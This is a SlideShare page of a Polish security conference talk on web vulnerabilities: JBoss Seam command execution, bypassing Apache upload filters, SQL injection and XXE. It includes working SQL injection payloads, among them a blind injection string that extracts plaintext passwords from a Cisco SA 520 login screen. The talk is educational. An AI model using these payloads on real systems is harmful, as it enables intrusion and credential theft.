SlideShare une entreprise Scribd logo
1  sur  32
Télécharger pour lire hors ligne
Wybrane podatności
w aplikacjach webowych
Michał Sajdak, CISSP, CEH, CTT+
www.securitum.pl
www.sekurak.pl
O Prelegencie
Michał Sajdak <at> securitum.pl
Testy bezpieczeństwa aplikacji
Szkolenia z security 
- również dla testerów programistów
http://securitum.pl/
2
Copyright 2014 Securitum
www.securitum.pl
Agenda
OS Command EXEC
1. Cisco RVS 4000
2. Jak omijać filtry w uploadzie?
3. Biblioteka JBoss Seam
4. Cisco Security Appliance (jeśli będzie czas)
OS Command EXEC + SQLi
5. XXE (XML eXternal Entities)
Info tylko w celach edukacyjnych! 3
Copyright 2014 Securitum
www.securitum.pl
Cisco RVS 4000
Security router
VPN, Firewall, IPS, …
4
Copyright 2015 Securitum
www.securitum.pl
Cisco RVS 4000
5
Copyright 2015 Securitum
www.securitum.pl
Upload / Apache – omijanie filtrów
Formularze zazwyczaj blokują upload plików
wykonywalnych (np. php)
Edytory wizualne
Uploady CV
Etc.
Ale często stosują… blacklisting
Czyli uniemożliwiają upload plików z
rozszerzeniem .php / .aspx / itd
6
Copyright 2014 Securitum
www.securitum.pl
Upload / Apache – omijanie filtrów
Zagadka
W jaki sposób Apache HTTP server zinterpretuje
plik:
siekiera.jpg.php.wnk2j3.tralalala.sekurak
Jako txt ?
Jako PHP ?
Jako jpg ?
7
Copyright 2014 Securitum
www.securitum.pl
8
Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Dość stara podatność
Ale będąca przykładem ogólniejszego trendu:
Używamy biblioteki X, która w momencie uruchomienia
systemu jest bezpieczna
Mija Y czasu… i w bibliotece znane są krytyczne
podatności
Info: Meder Kydyraliev, Seam Vulnerability,
http://blog.o0o.nu/
9
Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Dość stara podatność
Można w sposób nieuwierzytelniony wywołać
instancje klas… i dalej wołać metody
W szczególności Runtime.exec(„calc.exe”)
10
Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Na docelowych systemach możemy mieć
różne wersje javy
Więc należy w danym przypadku zlokalizować
indeksy zadeklarowanych metod:
public static java.lang.Runtime
java.lang.Runtime.getRuntime()
Process java.lang.Runtime.exec(java.lang.String)
11
Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Jeśli znajdziemy starego JBossa prawie
gwarancja że mamy nieuwierzytelniony OS
Command Exec
Na systemach Windows – często Administrator
Podatne też inne javowe app servery
De facto jest to błąd w bibliotece nie w app serverze..
12
Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Zobaczmy
13
Copyright 2014 Securitum
www.securitum.pl
SQL injection
http://site.pl/news.php?id=10
SELECT * FROM news WHERE id = 10 AND
active = 1
http://site.pl/news.php?id=10%20OR%201=1%23
SELECT * FROM news WHERE id = 10 OR 1=1#
AND active = 1
14
Copyright 2015 Securitum
www.securitum.pl
SQL injection
http://site.pl/news.php?id=-1 UNION ALL
SELECT user,password, NULL, NULL FROM
users#
SELECT * FROM news WHERE id = -1 UNION
ALL SELECT user,password, NULL, NULL FROM
users# AND active = 1
15
Copyright 2015 Securitum
www.securitum.pl
SQL injection – przykład na ekranie logowania
Cisco Security Appliance (SA 520)
$SQL = „SELECT * FROM users WHERE
login = ‘$login’ AND password = ‘$password’
Kontrolujemy login i hasło
Zobaczmy co się stanie jeśli użyjemy jako login/password ciągu:
‘ or ‘1’=‘1
$SQL = „SELECT * FROM users WHERE
login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’
Copyright 2015 Securitum
www.securitum.pl
16
SQL injection – przykład na ekranie logowania
SA 500 Appliance
$SQL = „SELECT * FROM users WHERE
login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’
Zwraca wszystkie wiersze z tabeli
Użyjmy tego na SA500
Możemy tutaj użyć techniki blind SQL injection
Copyright 2015 Securitum
www.securitum.pl
17
SQL injection – przykład na ekranie logowania
SA 500
Cel – chcemy pobrać wszystkie loginy i hasła (w plaintext)
Copyright 2015 Securitum
www.securitum.pl
18
SQL injection – przykład na ekranie logowania
Następne kroki
Potrzebujemy znać typ bazy danych
Potrzebujemy wiedzieć w jakiej tabeli przechowywane
są dane o użytkownikach oraz:
jak nazywają się kolumny przechowujące loginy / hasła
 Wszystkie te informacje mogą być uzyskane dzięki analizie whitebox
 Baza: SQLLite
 Nazwa tabeli: SSLVPNUsers
 Kolumny: Username / Password
Copyright 2015 Securitum
www.securitum.pl
19
SQL injection – przykład na ekranie logowania
Pełne zapytanie pobierające użytkowników /
hasła wygląda tak:
SELECT Username, Password FROM SSLVPNUsers
Ale nie możemy tego użyć bezpośrednio
Ekran logowania nie wyświetla nic poza
komunikatami o błędach
Copyright 2015 Securitum
www.securitum.pl
20
SQL injection – przykład na ekranie logowania
Pobierzemy więc użytkowników hasła litera po
literze
Jak to zrobić?
Potrzebujemy trochę praktyki z SQL ;-)
Copyright 2015 Securitum
www.securitum.pl
21
SQL injection – przykład na ekranie logowania
 SELECT Password FROM SSLVPNUser LIMIT
1 OFFSET 0
 Pobiera pierwsze hasło w bazie
 substr((SELECT Password FROM
SSLVPNUser LIMIT 1 OFFSET 0),1,1)
 Pobiera pierwszą literę pierwszego hasła w
bazie
Copyright 2015 Securitum
www.securitum.pl
22
SQL injection – przykład na ekranie logowania
 Nasz login będzie następujący:
 ‘ OR substr((SELECT Password FROM SSLVPNUser
LIMIT 1 OFFSET 0),1,1)=‘a’--
 Co skutkuje następującym zapytaniem:
 SELECT * FROM SSLVPNUser WHERE login = ‘‘ OR
substr((SELECT Password FROM SSLVPNUser
LIMIT 1 OFFSET 0),1,1)=‘a’--’ AND password =
‘$password’
 Zwraca ono „invalid username” kiedy pierwsza litera hasła != ‘a’
 Zwraca ono „inny błąd” kiedy pierwsza litera hasła = ‘a’
Copyright 2015 Securitum
www.securitum.pl
23
XXE (XML eXternal Entities)
Mało znany problem…ale dość istotny
W 2013 roku Reginaldo Silva
otrzymał w ramach bugbounty z Facebooka
$33 500
RCE z wykorzystaniem XXE
FB wypuścił patcha w 3.5h od zgłoszenia (!)
24
Copyright 2014 Securitum
www.securitum.pl
XXE (XML eXternal Entities)
Encje znany z HTML-a:
&lt; lub &#60;
<
&quot;
&apos;
&amp;
&micro;
…
Ogólnie:
&nazwa_encji;
&#numer_encji;
25
Copyright 2014 Securitum
www.securitum.pl
Renderowanie encji w HTML
W XML-u:
działa to podobnie…
26
Copyright 2014 Securitum
www.securitum.pl
XXE (XML eXternal Entities)
… możemy definiować własne encje
<!ENTITY name "value">
27
Copyright 2014 Securitum
www.securitum.pl
28
Copyright 2014 Securitum
www.securitum.pl
29
XXE (XML eXternal Entities)
Zobaczmy
http://sekurak.pl/tag/xxe/
dwa artykuły – jeden podstawowy,
drugi – bardziej zaawansowany.
30
Copyright 2014 Securitum
www.securitum.pl
Dziękuję za uwagę
Pytania?
Kontakt: michal.sajdak@securitum.pl
Szkolenia
Testy bezpieczeństwa aplikacji
31
Copyright 2014 Securitum
www.securitum.pl
32

Contenu connexe

En vedette

Некоторые технологические особенности темперной живописи (часть 2)
Некоторые технологические особенности темперной живописи (часть 2)Некоторые технологические особенности темперной живописи (часть 2)
Некоторые технологические особенности темперной живописи (часть 2)Scientific and Educational Initiative
 
Ενημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίων
Ενημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίωνΕνημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίων
Ενημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίωνlkoyra
 
הסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדיד
הסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדידהסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדיד
הסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדידIgor Kleiner
 
Guia de estudio gases noveno concepcion
Guia de estudio gases noveno concepcionGuia de estudio gases noveno concepcion
Guia de estudio gases noveno concepcionArturo Turizo
 
Preguntas Taller No 3. segundo corte constitucional colombiano
Preguntas Taller No 3. segundo corte constitucional colombianoPreguntas Taller No 3. segundo corte constitucional colombiano
Preguntas Taller No 3. segundo corte constitucional colombianoCESARTUTTO24
 
Linux Ubuntu 14.04 Desktop - Particoes
Linux Ubuntu 14.04 Desktop - ParticoesLinux Ubuntu 14.04 Desktop - Particoes
Linux Ubuntu 14.04 Desktop - ParticoesRui Lopes
 
Концепция развития редакционно-издательской деятельности Воронежского государ...
Концепция развития редакционно-издательской деятельности Воронежского государ...Концепция развития редакционно-издательской деятельности Воронежского государ...
Концепция развития редакционно-издательской деятельности Воронежского государ...Scientific and Educational Initiative
 
Aptitude Training - NUMBERS
Aptitude Training - NUMBERSAptitude Training - NUMBERS
Aptitude Training - NUMBERSAjay Chimmani
 
Aptitude Training - RATIO AND PROPORTION 2
Aptitude Training - RATIO AND PROPORTION 2Aptitude Training - RATIO AND PROPORTION 2
Aptitude Training - RATIO AND PROPORTION 2Ajay Chimmani
 
Aptitude Training - PROBABILITY
Aptitude Training - PROBABILITYAptitude Training - PROBABILITY
Aptitude Training - PROBABILITYAjay Chimmani
 

En vedette (16)

Некоторые технологические особенности темперной живописи (часть 2)
Некоторые технологические особенности темперной живописи (часть 2)Некоторые технологические особенности темперной живописи (часть 2)
Некоторые технологические особенности темперной живописи (часть 2)
 
Ενημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίων
Ενημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίωνΕνημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίων
Ενημέρωση του συλλόγου καθηγητών του Γ/ΣΙΟΥ Ν. ΚΑΛ/ΤΕΙΑΣ για πυρασφάλεια κτιρίων
 
Shoe gallery
Shoe galleryShoe gallery
Shoe gallery
 
הסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדיד
הסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדידהסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדיד
הסתברות ותהליכים סטוכסטיים :שרשרת מרקוב בזמן בדיד
 
Guia de estudio gases noveno concepcion
Guia de estudio gases noveno concepcionGuia de estudio gases noveno concepcion
Guia de estudio gases noveno concepcion
 
Preguntas Taller No 3. segundo corte constitucional colombiano
Preguntas Taller No 3. segundo corte constitucional colombianoPreguntas Taller No 3. segundo corte constitucional colombiano
Preguntas Taller No 3. segundo corte constitucional colombiano
 
Com b-1-01verbal en
Com b-1-01verbal enCom b-1-01verbal en
Com b-1-01verbal en
 
Tests language en
Tests language enTests language en
Tests language en
 
Linux Ubuntu 14.04 Desktop - Particoes
Linux Ubuntu 14.04 Desktop - ParticoesLinux Ubuntu 14.04 Desktop - Particoes
Linux Ubuntu 14.04 Desktop - Particoes
 
C V samir romany
C V samir romanyC V samir romany
C V samir romany
 
Sta cini prirodu
Sta cini priroduSta cini prirodu
Sta cini prirodu
 
Feria de Inteligencia Artificial en la Era Digital by Feed 2016
Feria de Inteligencia Artificial en la Era Digital by Feed 2016Feria de Inteligencia Artificial en la Era Digital by Feed 2016
Feria de Inteligencia Artificial en la Era Digital by Feed 2016
 
Концепция развития редакционно-издательской деятельности Воронежского государ...
Концепция развития редакционно-издательской деятельности Воронежского государ...Концепция развития редакционно-издательской деятельности Воронежского государ...
Концепция развития редакционно-издательской деятельности Воронежского государ...
 
Aptitude Training - NUMBERS
Aptitude Training - NUMBERSAptitude Training - NUMBERS
Aptitude Training - NUMBERS
 
Aptitude Training - RATIO AND PROPORTION 2
Aptitude Training - RATIO AND PROPORTION 2Aptitude Training - RATIO AND PROPORTION 2
Aptitude Training - RATIO AND PROPORTION 2
 
Aptitude Training - PROBABILITY
Aptitude Training - PROBABILITYAptitude Training - PROBABILITY
Aptitude Training - PROBABILITY
 

Similaire à 4Developers 2015: Wybrane podatności w aplikacjach webowych - Michał Sajdak

“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...krakspot
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
 
Jak stworzyć udany system informatyczny
Jak stworzyć udany system informatycznyJak stworzyć udany system informatyczny
Jak stworzyć udany system informatycznyqbeuek
 
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiastosecman_pl
 
Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...
Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...
Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...SecuRing
 
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Logicaltrust pl
 
Michał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktyka
Michał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktykaMichał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktyka
Michał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktykaFuture Processing
 
Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...
Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...
Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...The Software House
 
Jak tworzyć bezpieczne aplikacje?
Jak tworzyć bezpieczne aplikacje?Jak tworzyć bezpieczne aplikacje?
Jak tworzyć bezpieczne aplikacje?SecuRing
 
[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...
[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...
[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...Future Processing
 
[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...
[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...
[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...Future Processing
 
Sql z perspektywy hakera czy twoje dane są bezpieczne ? - Sqlday 2016 Wrocław
Sql z perspektywy hakera   czy twoje dane są bezpieczne ? - Sqlday 2016 WrocławSql z perspektywy hakera   czy twoje dane są bezpieczne ? - Sqlday 2016 Wrocław
Sql z perspektywy hakera czy twoje dane są bezpieczne ? - Sqlday 2016 WrocławKrzysztof Binkowski
 
Testowanie poziomu bezpieczeństwa aplikacji internetowych
Testowanie poziomu bezpieczeństwa aplikacji internetowychTestowanie poziomu bezpieczeństwa aplikacji internetowych
Testowanie poziomu bezpieczeństwa aplikacji internetowychAntoni Orfin
 
TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...
TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...
TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...Trójmiejska Grupa Testerska
 
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać PROIDEA
 
WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)lpilorz
 

Similaire à 4Developers 2015: Wybrane podatności w aplikacjach webowych - Michał Sajdak (20)

“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
 
Jak stworzyć udany system informatyczny
Jak stworzyć udany system informatycznyJak stworzyć udany system informatyczny
Jak stworzyć udany system informatyczny
 
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiasto
 
Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...
Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...
Czy twoje zabezpieczenia są skuteczne? Błędy i podatności w rozwiązaniach zab...
 
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
 
Devops security
Devops securityDevops security
Devops security
 
Devops/Sysops security
Devops/Sysops securityDevops/Sysops security
Devops/Sysops security
 
Michał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktyka
Michał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktykaMichał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktyka
Michał Sajdak, Testy bezpieczeństwa -­‐ teoria a praktyka
 
Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...
Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...
Pierwsza aplikacja na iOS, czyli z czym można się spotkać, co jest trudne i c...
 
Jak tworzyć bezpieczne aplikacje?
Jak tworzyć bezpieczne aplikacje?Jak tworzyć bezpieczne aplikacje?
Jak tworzyć bezpieczne aplikacje?
 
[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...
[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...
[JuraSIC! Meetup] Krzysztof Sikora- Jak Service Fabric rozwiąże twoje problem...
 
[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...
[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...
[FDD 2018] Krzysztof Sikora - Jak Service Fabric rozwiąże twoje problemy z mi...
 
Sql z perspektywy hakera czy twoje dane są bezpieczne ? - Sqlday 2016 Wrocław
Sql z perspektywy hakera   czy twoje dane są bezpieczne ? - Sqlday 2016 WrocławSql z perspektywy hakera   czy twoje dane są bezpieczne ? - Sqlday 2016 Wrocław
Sql z perspektywy hakera czy twoje dane są bezpieczne ? - Sqlday 2016 Wrocław
 
Testowanie poziomu bezpieczeństwa aplikacji internetowych
Testowanie poziomu bezpieczeństwa aplikacji internetowychTestowanie poziomu bezpieczeństwa aplikacji internetowych
Testowanie poziomu bezpieczeństwa aplikacji internetowych
 
TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...
TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...
TGT#14 - @Before – Nie będę automatyzować @After – No dobra, to nie jest taki...
 
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
PLNOG 8: Tomasz Sawiak - Log management i analizy > to czego nie widać
 
WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)
 
Pure MVC - Mediovski
Pure MVC - MediovskiPure MVC - Mediovski
Pure MVC - Mediovski
 
WF w zastosowaniach Web
WF w zastosowaniach WebWF w zastosowaniach Web
WF w zastosowaniach Web
 

4Developers 2015: Wybrane podatności w aplikacjach webowych - Michał Sajdak

  • 1. Wybrane podatności w aplikacjach webowych Michał Sajdak, CISSP, CEH, CTT+ www.securitum.pl www.sekurak.pl
  • 2. O Prelegencie Michał Sajdak <at> securitum.pl Testy bezpieczeństwa aplikacji Szkolenia z security  - również dla testerów programistów http://securitum.pl/ 2 Copyright 2014 Securitum www.securitum.pl
  • 3. Agenda OS Command EXEC 1. Cisco RVS 4000 2. Jak omijać filtry w uploadzie? 3. Biblioteka JBoss Seam 4. Cisco Security Appliance (jeśli będzie czas) OS Command EXEC + SQLi 5. XXE (XML eXternal Entities) Info tylko w celach edukacyjnych! 3 Copyright 2014 Securitum www.securitum.pl
  • 4. Cisco RVS 4000 Security router VPN, Firewall, IPS, … 4 Copyright 2015 Securitum www.securitum.pl
  • 5. Cisco RVS 4000 5 Copyright 2015 Securitum www.securitum.pl
  • 6. Upload / Apache – omijanie filtrów Formularze zazwyczaj blokują upload plików wykonywalnych (np. php) Edytory wizualne Uploady CV Etc. Ale często stosują… blacklisting Czyli uniemożliwiają upload plików z rozszerzeniem .php / .aspx / itd 6 Copyright 2014 Securitum www.securitum.pl
  • 7. Upload / Apache – omijanie filtrów Zagadka W jaki sposób Apache HTTP server zinterpretuje plik: siekiera.jpg.php.wnk2j3.tralalala.sekurak Jako txt ? Jako PHP ? Jako jpg ? 7 Copyright 2014 Securitum www.securitum.pl
  • 9. OS Command Exec – JBoss Seam Dość stara podatność Ale będąca przykładem ogólniejszego trendu: Używamy biblioteki X, która w momencie uruchomienia systemu jest bezpieczna Mija Y czasu… i w bibliotece znane są krytyczne podatności Info: Meder Kydyraliev, Seam Vulnerability, http://blog.o0o.nu/ 9 Copyright 2014 Securitum www.securitum.pl
  • 10. OS Command Exec – JBoss Seam Dość stara podatność Można w sposób nieuwierzytelniony wywołać instancje klas… i dalej wołać metody W szczególności Runtime.exec(„calc.exe”) 10 Copyright 2014 Securitum www.securitum.pl
  • 11. OS Command Exec – JBoss Seam Na docelowych systemach możemy mieć różne wersje javy Więc należy w danym przypadku zlokalizować indeksy zadeklarowanych metod: public static java.lang.Runtime java.lang.Runtime.getRuntime() Process java.lang.Runtime.exec(java.lang.String) 11 Copyright 2014 Securitum www.securitum.pl
  • 12. OS Command Exec – JBoss Seam Jeśli znajdziemy starego JBossa prawie gwarancja że mamy nieuwierzytelniony OS Command Exec Na systemach Windows – często Administrator Podatne też inne javowe app servery De facto jest to błąd w bibliotece nie w app serverze.. 12 Copyright 2014 Securitum www.securitum.pl
  • 13. OS Command Exec – JBoss Seam Zobaczmy 13 Copyright 2014 Securitum www.securitum.pl
  • 14. SQL injection http://site.pl/news.php?id=10 SELECT * FROM news WHERE id = 10 AND active = 1 http://site.pl/news.php?id=10%20OR%201=1%23 SELECT * FROM news WHERE id = 10 OR 1=1# AND active = 1 14 Copyright 2015 Securitum www.securitum.pl
  • 15. SQL injection http://site.pl/news.php?id=-1 UNION ALL SELECT user,password, NULL, NULL FROM users# SELECT * FROM news WHERE id = -1 UNION ALL SELECT user,password, NULL, NULL FROM users# AND active = 1 15 Copyright 2015 Securitum www.securitum.pl
  • 16. SQL injection – przykład na ekranie logowania Cisco Security Appliance (SA 520) $SQL = „SELECT * FROM users WHERE login = ‘$login’ AND password = ‘$password’ Kontrolujemy login i hasło Zobaczmy co się stanie jeśli użyjemy jako login/password ciągu: ‘ or ‘1’=‘1 $SQL = „SELECT * FROM users WHERE login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’ Copyright 2015 Securitum www.securitum.pl 16
  • 17. SQL injection – przykład na ekranie logowania SA 500 Appliance $SQL = „SELECT * FROM users WHERE login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’ Zwraca wszystkie wiersze z tabeli Użyjmy tego na SA500 Możemy tutaj użyć techniki blind SQL injection Copyright 2015 Securitum www.securitum.pl 17
  • 18. SQL injection – przykład na ekranie logowania SA 500 Cel – chcemy pobrać wszystkie loginy i hasła (w plaintext) Copyright 2015 Securitum www.securitum.pl 18
  • 19. SQL injection – przykład na ekranie logowania Następne kroki Potrzebujemy znać typ bazy danych Potrzebujemy wiedzieć w jakiej tabeli przechowywane są dane o użytkownikach oraz: jak nazywają się kolumny przechowujące loginy / hasła  Wszystkie te informacje mogą być uzyskane dzięki analizie whitebox  Baza: SQLLite  Nazwa tabeli: SSLVPNUsers  Kolumny: Username / Password Copyright 2015 Securitum www.securitum.pl 19
  • 20. SQL injection – przykład na ekranie logowania Pełne zapytanie pobierające użytkowników / hasła wygląda tak: SELECT Username, Password FROM SSLVPNUsers Ale nie możemy tego użyć bezpośrednio Ekran logowania nie wyświetla nic poza komunikatami o błędach Copyright 2015 Securitum www.securitum.pl 20
  • 21. SQL injection – przykład na ekranie logowania Pobierzemy więc użytkowników hasła litera po literze Jak to zrobić? Potrzebujemy trochę praktyki z SQL ;-) Copyright 2015 Securitum www.securitum.pl 21
  • 22. SQL injection – przykład na ekranie logowania  SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0  Pobiera pierwsze hasło w bazie  substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)  Pobiera pierwszą literę pierwszego hasła w bazie Copyright 2015 Securitum www.securitum.pl 22
  • 23. SQL injection – przykład na ekranie logowania  Nasz login będzie następujący:  ‘ OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)=‘a’--  Co skutkuje następującym zapytaniem:  SELECT * FROM SSLVPNUser WHERE login = ‘‘ OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)=‘a’--’ AND password = ‘$password’  Zwraca ono „invalid username” kiedy pierwsza litera hasła != ‘a’  Zwraca ono „inny błąd” kiedy pierwsza litera hasła = ‘a’ Copyright 2015 Securitum www.securitum.pl 23
  • 24. XXE (XML eXternal Entities) Mało znany problem…ale dość istotny W 2013 roku Reginaldo Silva otrzymał w ramach bugbounty z Facebooka $33 500 RCE z wykorzystaniem XXE FB wypuścił patcha w 3.5h od zgłoszenia (!) 24 Copyright 2014 Securitum www.securitum.pl
  • 25. XXE (XML eXternal Entities) Encje znany z HTML-a: &lt; lub &#60; < &quot; &apos; &amp; &micro; … Ogólnie: &nazwa_encji; &#numer_encji; 25 Copyright 2014 Securitum www.securitum.pl
  • 26. Renderowanie encji w HTML W XML-u: działa to podobnie… 26 Copyright 2014 Securitum www.securitum.pl
  • 27. XXE (XML eXternal Entities) … możemy definiować własne encje <!ENTITY name "value"> 27 Copyright 2014 Securitum www.securitum.pl
  • 29. 29
  • 30. XXE (XML eXternal Entities) Zobaczmy http://sekurak.pl/tag/xxe/ dwa artykuły – jeden podstawowy, drugi – bardziej zaawansowany. 30 Copyright 2014 Securitum www.securitum.pl
  • 31. Dziękuję za uwagę Pytania? Kontakt: michal.sajdak@securitum.pl Szkolenia Testy bezpieczeństwa aplikacji 31 Copyright 2014 Securitum www.securitum.pl
  • 32. 32